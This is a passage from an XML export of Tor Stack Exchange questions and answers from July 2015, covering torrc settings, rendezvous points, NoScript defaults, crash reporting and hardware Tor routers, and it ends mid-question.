  <row Id="7242" PostTypeId="2" ParentId="7201" CreationDate="2015-07-16T22:00:39.787" Score="2" Body="&lt;p&gt;As you already wrote in your comment you can set &lt;code&gt;FascistFirewall 1&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt;. Tor will then use the ports 80 and 443 for outgoing connections to the first node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The options &lt;code&gt;FirewallPorts&lt;/code&gt; is marked as deprecated in the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;manual&lt;/a&gt;. So don't use this option. But you can use &lt;code&gt;ReachableAddresses&lt;/code&gt; (see &lt;a href=&quot;https://tor.stackexchange.com/q/265/88&quot;&gt;The ReachableAddresses version of FascistFirewall&lt;/a&gt; for details).&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-07-16T22:00:39.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7245" PostTypeId="2" ParentId="7229" CreationDate="2015-07-17T02:04:58.143" Score="1" Body="&lt;p&gt;Using public internet will effect your security. This is because all traffic that is traveling on the network unencrypted can be sniffed by anyone else who has access to the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So long as you log in to any online accounts through a secure https connection your passwords will at least not be visible to an attacker in plain text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Tor/Tails is also an effective way to encrypt all of your traffic on the LAN because traffic is encrypted as it travels through the tor network from your PC to the tor exit node as shown in &quot;how tor works 2&quot; in the tor overview &lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/about/overview.html.en&lt;/a&gt; however it is still best if the websites you visit are https as this way you have point to point encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give some alternatives you could use a VPN (Virtual Private Network) which is another way to encrypt your traffic on the LAN but usually costs money and doesn't provide the same anonymity as tor. Or someone with access to a remote server could tunnel through ssh to create their own proxy server. There are videos explaining how to do this on youtube, like this one &lt;a href=&quot;https://www.youtube.com/watch?v=__VASPeU82Q&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=__VASPeU82Q&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing you need to watch out for if you are in a public place when you connect to the public internet is visual collection of your passwords. If someone or a camera can see your keyboard as you're typing in your login details then they can remember or write down your passwords, or re-watch the camera feeds at their leisure to gain everything they need to access your accounts.&lt;/p&gt;&#xA;" OwnerUserId="7883" LastActivityDate="2015-07-17T02:04:58.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7246" PostTypeId="2" ParentId="7183" CreationDate="2015-07-17T04:05:14.063" Score="1" Body="&lt;p&gt;According to the &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html&quot; rel=&quot;nofollow&quot;&gt;Tor documentation&lt;/a&gt; it is the client that randomly selects the Rendezvous Point. From step three of the documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Around this time, the client also creates a circuit to another randomly picked relay and asks it to act as rendezvous point by telling it a one-time secret. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The above is the default behavior of Tor clients, but there is an exception. It is also possible for a client to select, non-randomly, a specific relay to use as a rendezvous point. This is described in a &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12844&quot; rel=&quot;nofollow&quot;&gt;Tor Project ticket&lt;/a&gt; and rendezvous points to &lt;em&gt;prefer&lt;/em&gt; may be specified in your torrc. The relevant field is called Tor2webRendezvousPoints and the Tor2webMode field must be enabled. Google for the Tor manual, I can't post more than two links.&lt;/p&gt;&#xA;" OwnerUserId="7889" LastEditorUserId="7889" LastEditDate="2015-07-17T04:55:27.893" LastActivityDate="2015-07-17T04:55:27.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7248" PostTypeId="2" ParentId="7183" CreationDate="2015-07-17T20:38:27.573" Score="1" Body="&lt;p&gt;The paragraph above slide 6 in the Tor documentation link in the 1st answer says the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In general, the complete connection between client and hidden service consists of 6 relays: 3 of them were picked by the client with the third being the rendezvous point and the other 3 were picked by the hidden service. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So my understanding is that the rendezvous point is the equivalent of the clients exit node on a circuit that is not going to a HS. The HS has a complete (3 node) Tor circuit of its own, which you can see in the Tor circuit view when you connect to a hidden service because you can't see the IP addresses of the 3 nodes on the HS side. The circuit view shows a circuit that looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser (client) - Entry Guard - Node - Rendezvous Point - Node - Node - Entry Guard - HS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To the point on correlation, If the rendezvous point is owned by an adversary it should not allow them to correlate any data. To perform a correlation attack they would need to own the two entry guards or you and the HS would need to share the same entry guard, and they would need to own that one guard node. See this link to the Tor design document &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow&quot;&gt;https://svn.torproject.org/svn/projects/design-paper/tor-design.html&lt;/a&gt; most importantly, section 5.1 &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The RP connects Alice's circuit to Bob's. Note that RP can't recognize Alice, Bob, or the data they transmit.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7883" LastEditorUserId="7883" LastEditDate="2015-07-19T00:03:24.677" LastActivityDate="2015-07-19T00:03:24.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7250" PostTypeId="2" ParentId="7154" CreationDate="2015-07-18T07:51:39.950" Score="0" Body="&lt;p&gt;It might be because there is a higher amount of tor relay nodes in europe when compared to rest of the world (It's very less in Asia afaik, correct me if i'm wrong).&#xA;I myself often see all of my three nodes to be in Europe (Switzerland comes up a lot). You can check the relay information on tor's Atlas project, or TorStatus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this solves your problem. :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;https://torstatus.blutmagie.de/&lt;/a&gt;)&#xA;(&lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://atlas.torproject.org/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit - You can also use Globe, a tor relays and brigdes explorer inspired from Atlas.&lt;/p&gt;&#xA;" OwnerUserId="7897" LastEditorUserId="7897" LastEditDate="2015-07-18T08:04:05.697" LastActivityDate="2015-07-18T08:04:05.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7251" PostTypeId="1" CreationDate="2015-07-18T08:16:25.613" Score="1" ViewCount="3932" Body="&lt;p&gt;So I've been to several questions on this regarding some issues with people being inable to connect to the Tor network, yet I am still inable to connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After downloading the bundle I click 'Start Tor Browser' which brings me to the 'Tor Network Settings' window.  There are two options.  I always click the first which loads until it says 'Please wait while we establish a connect to the Tor Network', but it never finishes, ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second option on the 'Tor Network Settings' is to complicated for me to work through on myself as I am not very experience with that type of stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me?&lt;/p&gt;&#xA;" OwnerUserId="7898" LastActivityDate="2015-07-18T08:16:25.613" Title="Can't connect to Tor network" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="5" ClosedDate="2016-04-29T23:38:11.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="7252" PostTypeId="2" ParentId="6853" CreationDate="2015-07-18T08:29:14.577" Score="2" Body="&lt;p&gt;As Richard commented, all sponsors are referred to via pseudonyms/codenames, like SponsorE, SponsorF, SponsorO etc. Each have their specific and non specific tasks/ topics that they work on. It's a little difficult listing all topics that SponserR covers. It was started last September i believe. Let me give you a link to their wiki, where it's explained clearly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the list of the sponsors. --&gt; &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/sponsors&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/org/sponsors&lt;/a&gt; . You can find info about SponsorR from there itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/sponsors/SponsorR/Terminology&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/org/sponsors/SponsorR/Terminology&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this solves your question.&lt;/p&gt;&#xA;" OwnerUserId="7897" LastEditorUserId="7897" LastEditDate="2015-07-18T09:12:03.623" LastActivityDate="2015-07-18T09:12:03.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7253" PostTypeId="2" ParentId="6853" CreationDate="2015-07-18T09:12:01.643" Score="2" Body="&lt;p&gt;The Tor Project assigns to each sponsor a pseudonym which is simply a letter in the alphabet. According to the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/sponsors&quot; rel=&quot;nofollow&quot;&gt;sponsors&lt;/a&gt; wikipage the letters &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/sponsors/SponsorA&quot; rel=&quot;nofollow&quot;&gt;A&lt;/a&gt; to &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/sponsors/SponsorU&quot; rel=&quot;nofollow&quot;&gt;U&lt;/a&gt; and &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/sponsors/SponsorZ&quot; rel=&quot;nofollow&quot;&gt;Z&lt;/a&gt; are already assigned. Some of those sponsored projects ended while work is done at some other projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The work on the SponsorR project is tracked on its &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/sponsors/SponsorR&quot; rel=&quot;nofollow&quot;&gt;project page&lt;/a&gt; and there is also a &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2014-October/007642.html&quot; rel=&quot;nofollow&quot;&gt;discussion at tor-dev&lt;/a&gt; (and you'll probably find some more if you're searching the archives). Besides that you can also follow all &lt;a href=&quot;https://trac.torproject.org/projects/tor/query?keywords=~SponsorR&quot; rel=&quot;nofollow&quot;&gt;SponsorR tickets&lt;/a&gt; in the trac system. So basically all that is SponsorR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Behind the pseudonym SponsorR is some organisation, company etc. Sometimes sponsors don't want to be assigned with their name. Thatswhy The Tor Project uses those pseudonyms and not the real name of the organisation, company etc.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-07-18T09:12:01.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7255" PostTypeId="1" AcceptedAnswerId="7272" CreationDate="2015-07-18T16:44:08.293" Score="2" ViewCount="256" Body="&lt;p&gt;Using the most recent Tor Browser Bundle (5.0a3) I experience crashes. I am running Linux, however since there is now a .desktop used it doesn't show me anything in the terminal. Even when I run the command without &lt;code&gt;--detach&lt;/code&gt; I do not end up knowing what is going on, because there isn't any output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to report crashes? Wouldn't it make sense to have a crash reporter, similar to plain Firefox?&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2017-11-07T19:41:15.407" Title="How to report a Tor Browser crash" Tags="|tor-browser-bundle|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7256" PostTypeId="1" CreationDate="2015-07-18T18:47:28.853" Score="5" ViewCount="4477" Body="&lt;p&gt;In the Tor Browser, you can get a new identity by clicking a button with your mouse. Is there a keyboard hot-key or combination for that?&lt;/p&gt;&#xA;" OwnerUserId="7900" LastActivityDate="2016-06-08T22:46:34.513" Title="Is there a hot-key for new identity?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7257" PostTypeId="2" ParentId="7255" CreationDate="2015-07-18T21:04:46.553" Score="1" Body="&lt;p&gt;The Tor Project maintains a &lt;a href=&quot;https://bugs.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;bug tracker&lt;/a&gt;. Before you can open a new ticket. You need to register or log in. If you don't want to register, you can use the multi-user account with the account name cypherpunks and the password writecode. After you've logged in, choose &lt;a href=&quot;https://trac.torproject.org/projects/tor/newticket&quot; rel=&quot;nofollow&quot;&gt;New Ticket&lt;/a&gt; and try to describe as detailed as you can where you think the bug is. Have a look from time to time if someone commented on your report. Sometimes more information from you are needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The developers will have a look at your ticket an probably resolve it.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-07-18T21:04:46.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7258" PostTypeId="2" ParentId="7224" CreationDate="2015-07-19T00:24:11.203" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://www.pfsense.org/&quot; rel=&quot;nofollow&quot;&gt;PFSense&lt;/a&gt; is a full feature firewall/router that runs on various hardware. This gives you all the features of the firewall as well as low level control of the system if need be. Plus, you can easily scale the hardware based on your network's needs. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-07-19T00:24:11.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7259" PostTypeId="1" CreationDate="2015-07-19T01:36:55.083" Score="1" ViewCount="678" Body="&lt;p&gt;I am running Windows &amp;amp; want to connect to Tor using SOCKS 5. I have private proxies and when I tried any of them, all I am getting are these errors logs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;19/07/2015 02:31:24.671 [WARN] Could not create SOCKS args string. &#xA;19/07/2015 02:31:24.671 [WARN] Proxy Client: unable to connect to 199.254.238.52:443 &#xA;19/07/2015 02:31:24.736 [WARN] Could not create SOCKS args string. &#xA;19/07/2015 02:31:24.736 [WARN] Proxy Client: unable to connect to 154.35.175.225:443 &#xA;19/07/2015 02:31:28.452 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7901" LastEditorUserId="13768" LastEditDate="2016-09-09T20:59:05.620" LastActivityDate="2016-09-09T20:59:05.620" Title="Unable to connect to Tor using SOCKS 5" Tags="|configuration|windows|socks|error|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7261" PostTypeId="1" AcceptedAnswerId="7265" CreationDate="2015-07-19T12:33:42.763" Score="2" ViewCount="2574" Body="&lt;p&gt;When I use Hotspot shield ( in full protection mode ) , my pc , entirely goes under anonymity and protection . How i can do the same thing in Tor . I want when successfully run tor browser , my entire network connection goes under protection and anonymity and my entire IP changed . Thanks&lt;/p&gt;&#xA;" OwnerUserId="7851" LastActivityDate="2015-08-04T13:08:53.177" Title="How to put entire pc behinde Tor" Tags="|socks|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7264" PostTypeId="1" CreationDate="2015-07-19T14:18:56.713" Score="0" ViewCount="271" Body="&lt;p&gt;I've seen a few questions asking/commenting about the availability of .onion sites.  I've never tried to use them before today adn I was surprised to see that the first 4 or 5 I couldn't access.  All but the first were links from a wikipedia article about .onion sites, so I expected them to be available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The few questions here seem to have people saying not to worry about it, and one had a technical problem of their time being off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I normally keep my browsers open for lengthy periods of time with many tabs and only close/restart them when I run into problems.  Is that bad practice for tbb?  Will that cause problems?  Are there security, anonymity, or privacy concerns that I should be aware of?  I didn't think there were, but if leaving a browser open for lengthy periods of time could cause .onion routing to have problems, who knows what else it might do.  Browsers are like mini-OSs nowadays...&lt;/p&gt;&#xA;" OwnerUserId="7907" LastEditorUserId="31632" LastEditDate="2021-05-25T20:42:11.383" LastActivityDate="2021-05-25T20:42:11.383" Title="Not able to access .onion sites - because I left tbb open for a while?" Tags="|tor-browser-bundle|anonymity|security|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7265" PostTypeId="2" ParentId="7261" CreationDate="2015-07-19T14:43:04.433" Score="4" Body="&lt;p&gt;I think a physical device would be what you are looking for. Something like what the P.O.R.T.A.L. project hopes to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These guys go over their ideas/philosophy and why this is a good thing in this Youtube video: &lt;a href=&quot;https://www.youtube.com/results?search_query=grugq%20portal&amp;amp;search=Search&quot; rel=&quot;nofollow&quot;&gt;DEF CON 22 - Ryan Lackey &amp;amp; Marc Rogers &amp;amp; theGrugq - Masquerade &lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their github: &lt;a href=&quot;https://github.com/grugq/portal&quot; rel=&quot;nofollow&quot;&gt;https://github.com/grugq/portal&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I don't think they have produced anything yet. However, the Gl-iNET can run tor firmware and the firmware is available on their website. It's a Chinese company, and they sell on Amazon, and Amazon prime. I think this is the hardware that PORTAL is planning to use anyways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00JKFE0FW&quot; rel=&quot;nofollow&quot;&gt;Gl.iNet Smart Router, Openwrt, 3g Modem, Tor, Mobile App Control, 16M Flash&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their website, which has the tor firmware (now including tor over wired lan): &lt;a href=&quot;http://www.gl-inet.com/w/?page_id=676&quot; rel=&quot;nofollow&quot;&gt;http://www.gl-inet.com/w/?page_id=676&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are a few other products that will do the same ting. You could roll your own with a Raspberry Pi or similar SBC (single board computer), or check out these guys:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;InvizBox seems to have the right idea:&lt;br&gt;&#xA;&lt;a href=&quot;https://www.invizbox.io/&quot; rel=&quot;nofollow&quot;&gt;https://www.invizbox.io/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Anonabox got the most pubilicity, and most of it was bad and they deserved it:&lt;br&gt;&#xA;&lt;a href=&quot;https://anonabox.com/&quot; rel=&quot;nofollow&quot;&gt;https://anonabox.com/&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.wired.com/2014/10/kickstarter-suspends-anonabox/&quot; rel=&quot;nofollow&quot;&gt;http://www.wired.com/2014/10/kickstarter-suspends-anonabox/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here's a few links about using a Raspberry Pi to do the same thing, they call it &quot;Onion Pi&quot;. This is not ideal though; you want network hardware, not a general purpose CPU to handle this stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How-tos:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://learn.adafruit.com/onion-pi/overview&quot; rel=&quot;nofollow&quot;&gt;https://learn.adafruit.com/onion-pi/overview&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://makezine.com/projects/make-36-boards/how-to-bake-an-onion-pi/&quot; rel=&quot;nofollow&quot;&gt;http://makezine.com/projects/make-36-boards/how-to-bake-an-onion-pi/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related How-tos&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.instructables.com/id/Raspberry-Pi-Tor-relay/&quot; rel=&quot;nofollow&quot;&gt;http://www.instructables.com/id/Raspberry-Pi-Tor-relay/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://lifehacker.com/5978098/turn-a-raspberry-pi-into-a-personal-vpn-for-secure-browsing-anywhere-you-go&quot; rel=&quot;nofollow&quot;&gt;http://lifehacker.com/5978098/turn-a-raspberry-pi-into-a-personal-vpn-for-secure-browsing-anywhere-you-go&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Misc articles:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://spectrum.ieee.org/geek-life/hands-on/a-diy-tor-wifi-access-point&quot; rel=&quot;nofollow&quot;&gt;http://spectrum.ieee.org/geek-life/hands-on/a-diy-tor-wifi-access-point&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arstechnica.com/information-technology/2013/06/onion-pi-turns-raspberry-pi-into-tor-proxy-and-wireless-access-point/&quot; rel=&quot;nofollow&quot;&gt;http://arstechnica.com/information-technology/2013/06/onion-pi-turns-raspberry-pi-into-tor-proxy-and-wireless-access-point/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://raspberrypi.org/onion-pi-tor-proxy/&quot; rel=&quot;nofollow&quot;&gt;https://raspberrypi.org/onion-pi-tor-proxy/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://boingboing.net/2013/06/17/onion-pi-convert-a-raspberry.html&quot; rel=&quot;nofollow&quot;&gt;http://boingboing.net/2013/06/17/onion-pi-convert-a-raspberry.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7907" LastEditorUserId="7907" LastEditDate="2015-08-04T13:08:53.177" LastActivityDate="2015-08-04T13:08:53.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7266" PostTypeId="2" ParentId="7264" CreationDate="2015-07-19T14:43:41.803" Score="2" Body="&lt;p&gt;When you leave TBB running in the background, the Tor client will automatically generate circuits and subsequently tear them down (usually) every 10 minutes. There are no anonymity concerns with it doing this and you might even say that there is a slight improvement to just re-opening TBB every time because you're sending random data making it a little harder to correlate when you're actually &lt;em&gt;using&lt;/em&gt; the Tor Network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only concern would be leaving active sessions logged in or using a service that is constantly being updated that may be able to attack you over time (e.g. attacking logged on forum users or injecting malicious content into an auto-rotating ad). You're advised to log out of everything when you're done with your session. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But these are web-based attacks and not really related to Tor. There's nothing really wrong with keeping TBB open. WRT the hidden services, the ones on the Wikipedia page are no longer there. You might want to look up Facebook's onion site or Duck Duck Go's. Hidden services are often not long lived. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-07-19T14:43:41.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7267" PostTypeId="1" CreationDate="2015-07-19T19:30:50.000" Score="1" ViewCount="252" Body="&lt;p&gt;If I do a search at the top right of the Tor Browser Bundle in the search bar with DuckDuckGo selected as the search provider, I am taken to the DuckDuckGo HTML page.  I don't want the HTML page, I want the javascript enabled version so I can do an image search and download and rename multiple images.duckduckgo.com files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A DuckDuckGo search found a Redditor with pretty much the same problem: &lt;a href=&quot;https://www.reddit.com/r/TOR/comments/35kvzb/duckduckgo_and_html/&quot; rel=&quot;nofollow&quot;&gt;DuckDuckGo and HTML&lt;/a&gt;, though I was not able to find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed that NoScript's behavior in tbb is different than Firefox proper, does that have something to d with this behavior?  Or is this a setting of the DuckDuckGo search provider?  Is there a way to force the regular/javascript-enabled version of the site to be used?&lt;/p&gt;&#xA;" OwnerUserId="7907" LastActivityDate="2015-07-19T19:30:50.000" Title="DuckDuckGo search via the searchbar gets me the HTML version" Tags="|tor-browser-bundle|firefox|javascript|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7268" PostTypeId="2" ParentId="6761" CreationDate="2015-07-19T19:43:16.940" Score="1" Body="&lt;p&gt;You can use Tor to access this stack exchange, but you will likely trip their &quot;defenses&quot; and have to complete captchas, human verifications, and then your post might get flagged as spam so you can't even submit it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While that's a heaping load of irony, none of that is an insurmountable set of obstacles to posting here using tor or the tbb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get in and login, you can do all the tasks that you want to and can normally do.  In fact, you can browse without logging in, same as any other stack exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked a similar question here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/7262/stack-exchange-security-measures-get-tripped-when-using-tor-and-tbb&quot;&gt;Stack Exchange “security” measures get tripped when using Tor and TBB&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7907" LastActivityDate="2015-07-19T19:43:16.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7269" PostTypeId="1" AcceptedAnswerId="9490" CreationDate="2015-07-19T19:54:58.117" Score="1" ViewCount="1057" Body="&lt;p&gt;I was excited that The Tor Browser Bundle was essentially Firefox and that it already cam with several useful extensions.  I had put off using it because I didn't want to sacrifice things like NoScript, HTTPS Everywhere, Privacy Badger, Ad Block Plus, and a few other extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, much to my horror, the NoScript extension included with tbb was essentially turned off.  I had to compare this to my default Firefox install and reset NoScript to actually be useful and actually block scripts by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason(s) for NoScript being configured the way it is for tbb?  I did a quick search but didn't find explanation(s), though I do find plenty of instructions on how to make NoScript &quot;more secure&quot; by essentially turning it on.  I first started with a version 4.x of tbb, though I don't recall the version.  I think I've been using tbb for 3 or 4 versions now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:  I found this question: &lt;a href=&quot;https://tor.stackexchange.com/questions/4006/noscript-and-latest-tbb-v3-6-4-recommended-modifications-to-default-setting&quot;&gt;Noscript and latest TBB (v3.6.4) — recommended modifications to default settings?&lt;/a&gt;, but there's not much in the way of technical data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least part of the reason NoScript acts different is that tbb runs in FIrefox's private mode, so you have to go into NoScript and enable the permanent allow option if you want to permanently allow scripts on certain sites.  Those few settings make it harder to use tbb as your daily driver browser IMO.&lt;/p&gt;&#xA;" OwnerUserId="7907" LastEditorUserId="7907" LastEditDate="2015-07-19T20:11:11.107" LastActivityDate="2016-07-17T03:42:48.407" Title="Why is the NoScript in TBB different than Firefox?" Tags="|tor-browser-bundle|firefox|noscript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7270" PostTypeId="2" ParentId="7269" CreationDate="2015-07-19T19:58:18.577" Score="0" Body="&lt;p&gt;They rely a lot on &lt;em&gt;NoScript&lt;/em&gt; that it will block all the harmful scripts on websites while being globally enabled.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Feel free to examine all the preferences by Tor Browser made to&#xA;  NoScript specifically.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Or use the Torbutton slider to make NoScript block &lt;em&gt;all&lt;/em&gt; JavaScript.&lt;/p&gt;&#xA;" OwnerUserId="7908" LastEditorUserId="88" LastEditDate="2015-07-20T18:43:28.133" LastActivityDate="2015-07-20T18:43:28.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7272" PostTypeId="2" ParentId="7255" CreationDate="2015-07-19T20:06:52.263" Score="1" Body="&lt;p&gt;Don't use the .desktop file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From wherever you've unpacked the Tor directory to, run &lt;code&gt;./tor-browser_en-US/Browser/start-tor-browser&lt;/code&gt; with the &lt;code&gt;-v&lt;/code&gt; (verbose) option. This will give you the terminal output you were used to seeing.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-07-19T20:06:52.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7275" PostTypeId="1" CreationDate="2015-07-20T10:11:44.930" Score="4" ViewCount="3274" Body="&lt;p&gt;I'm a new Tor user. And I want to ensure several questions. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can &quot;entry point&quot; router store my IP?&lt;/li&gt;&#xA;&lt;li&gt;Can &quot;middle relay&quot; store &quot;entry point&quot; IP?&lt;/li&gt;&#xA;&lt;li&gt;Can &quot;exit point&quot; router store &quot;middle relay&quot; IP?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think yes. And the tor routers can be configured (hacked) to store IP and target server information. So when all points belongs to one owner (eg. network provider, NSA, etd.) then he can know what page I want to see and from which IP. Correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand, that they cannot see the content due to HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is anonymity problem. So how is this &quot;secured&quot; in tor system. Do I have to believe that tor routers doesn't store and share this information? But &quot;believe&quot; is not secure 